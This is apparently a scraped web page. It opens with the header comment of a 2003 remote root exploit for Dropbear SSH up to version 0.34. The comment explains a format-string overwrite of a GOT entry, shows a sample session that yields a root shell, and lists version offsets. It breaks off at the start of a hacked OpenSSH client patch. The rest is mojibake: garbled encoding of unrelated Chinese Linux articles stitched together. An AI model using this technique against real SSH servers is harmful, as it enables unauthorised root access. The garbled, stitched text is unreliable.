Linux x86 Dropbear SSH <= 0.34 remote root exploit
/*
* /*
* Linux x86 Dropbear SSH <= 0.34 remote root exploit
* coded by live
*
* You'll need a hacked ssh client to try this out. I included a patch
* to openssh-3.6.p1 somewhere below this comment.
*
* The point is: the buffer being exploited is too small(25 bytes) to hold our
* shellcode, so a workaround was needed in order to send it. What I did here
* was to hack the ssh client so that it sends the local environment variable
* SHELLCODE as ssh's methodname string. This method was described by Joel
* Eriksson @ 0xbadc0ded.org.
*
* The 25 bytes limitation is also the reason for the the strange ``2 byte''
* retaddr you will see here. That's not enough for complete pointer overwrite,
* so I decided to overwrite 3rd and 2nd bytes and hope our shellcode is
* around ;)
*
* % telnet localhost 22
* Trying 127.0.0.1...
* Connected to localhost.
* Escape character is '^]'.
* SSH-2.0-dropbear_0.34
* ^]
* telnet> quit
* Connection closed.
*
* % objdump -R /usr/local/sbin/dropbear| grep malloc
* 080673bc R_386_JUMP_SLOT malloc
*
* % drop-root -v24 localhost
* ?.2022u%24$hn@localhost's password:
* Connection closed by 127.0.0.1
*
* % telnet localhost 10275
* Trying 127.0.0.1...
* Connected to localhost.
* Escape character is '^]'.
* id; exit;
* uid=0(root) gid=0(root) groups=0(root)
* Connection closed by foreign host.
*
* In the above example we were able to lookup a suitable .got entry(used as
* retloc here), but this may not be true under a hostile environment. If
* exploiting this remotely I feel like chances would be greater if we attack
* the stack, but that's just a guess.
*
* Version pad is 24 to 0.34, 12 to 0.32. I don't know about other versions.
*
* gr33tz: ppro, alcaloide and friends.
*
* 21.08.2003
* Please do not distribute
*/
/*
--- sshconnect2.c2003-08-21 21:34:03.000000000 -0300
+++ sshconnect2.c.hack2003-08-21 21:33:47.000000
Ïà¹ØÎĵµ£º
linuxϵͳÖжÔÐźŵĴ¦ÀíÖ÷ÒªÊÇsignal ºÍsigactionº¯ÊýÀ´Íê³É£¬pauseÓÃÀ´ÏìÓ¦ÈκÎÐźţ¬µ«²»×öÈκδ¦Àí¡£
1¡£signalº¯Êý
¸Ãº¯ÊýÓÃÀ´ÉèÖýø³ÌÔÚ½Óµ½Ðźŵ͝×÷¡£¿ÉÒÔ man signal²é¿´¾ßÌåÓ÷¨£¬ÏÖÔÚ¶ÔÆäÓ÷¨ÑÝʾ£¬
SIGKILL SIGSTOPÊDz»Äܱ»²¶×½ºÍºöÂÔµÄÐź ......
¼üÅÌÔÚËùÓеÄÇý¶¯Ö®ÖÐ×îΪ¼òµ¥µÄÒ»ÖÖ£¬µ«ËüÈ´°üº¬ÁËÇý¶¯µÄ»ù±¾¿ò¼Ü£¬¶ÔÒÔºó¼ÌÐøÉîÈëѧϰÆäËû¸´ÔÓµÄÇý¶¯´óÓÐñÔÒæ£¬ÒÔϱãΪÄãÖð²½ÆÊÎöÇý¶¯µÄ¿ª·¢¡£²ÉÓõÄÊDzéѯ·½Ê½¡£×ªÔØÇë×¢Ã÷³ö´¦£ºqiangren.blog.edu.cn
Ò».ÄÚºËÄ£¿éµÄ×¢²áºÍ³·Ïú
ÔÚ¼ÓÔØÄ£¿éµÄʱºò£¬Ê×ÏÈÔËÐеÄÊÇÄÚºËÄ£¿éµÄ×¢²áº¯Êý¡£ËüµÄ¹¦ÄܰüÀ¨ÄÚºË×¢²áÉ豸ÒÔ ......
¡¡¡¡Linux»ù½ð»áÖ´ÐжÊÂJim ZemlinÉù³ÆLinuxµÄÊг¡µØÎ»Ê®·ÖÎȹ̣¬¾¡¹Ü¼¸Î»LinuxÄں˵Ĺؼüά»¤ÕßÒѾͷ·¢»¨°×¡£
¡¡¡¡Linux Weekly NewsµÄÖ÷±àJonathan CorbetÔÚÉÏÖܾÙÐеÄLinux»ù½ð»áÐ×÷·å»áÉÏÌôÃ÷ÁËÕâÒ»ÎÊÌ⣬ËûÖ¸³öLinuxÄÚºËÍŶӵÄÄêÁäÒ»Äê±ÈÒ»Ä곤£¬¶øÄêÇáÒ»´úµÄ¿ª·¢ÕßûÓвÎÓë½øÀ´¡£ÎªÊ²Ã´LinuxÏÖÔÚÎÞ·¨ÎüÒýÄêÇῪ·¢ ......
ÔÚSWAP¿Õ¼ä²»¹»ÓõÄÇé¿öÏ£¬ÈçºÎÊÖ¹¤Ìí¼ÓSWAP¿Õ¼ä£¿ÒÔϵIJÙ×÷¶¼ÒªÔÚrootÓû§Ï½øÐУº
¡¡¡¡Ê×ÏÈÏȽ¨Á¢Ò»¸ö·ÖÇø£¬²ÉÓÃddÃüÁî±ÈÈç
¡¡¡¡dd if=/dev/zero of=/home/swap bs=1024 count=512000
¡¡¡¡ÕâÑù¾Í»á´´½¨/home/swapÕâôһ¸ö·ÖÇøÎļþ¡£ÎļþµÄ´óСÊÇ512000¸öblock£¬Ò»°ãÇé¿öÏÂ1¸öblockΪ1K£¬ËùÒÔÕâÀï¿Õ¼äÊÇ512M¡£½Ó×ÅÔ ......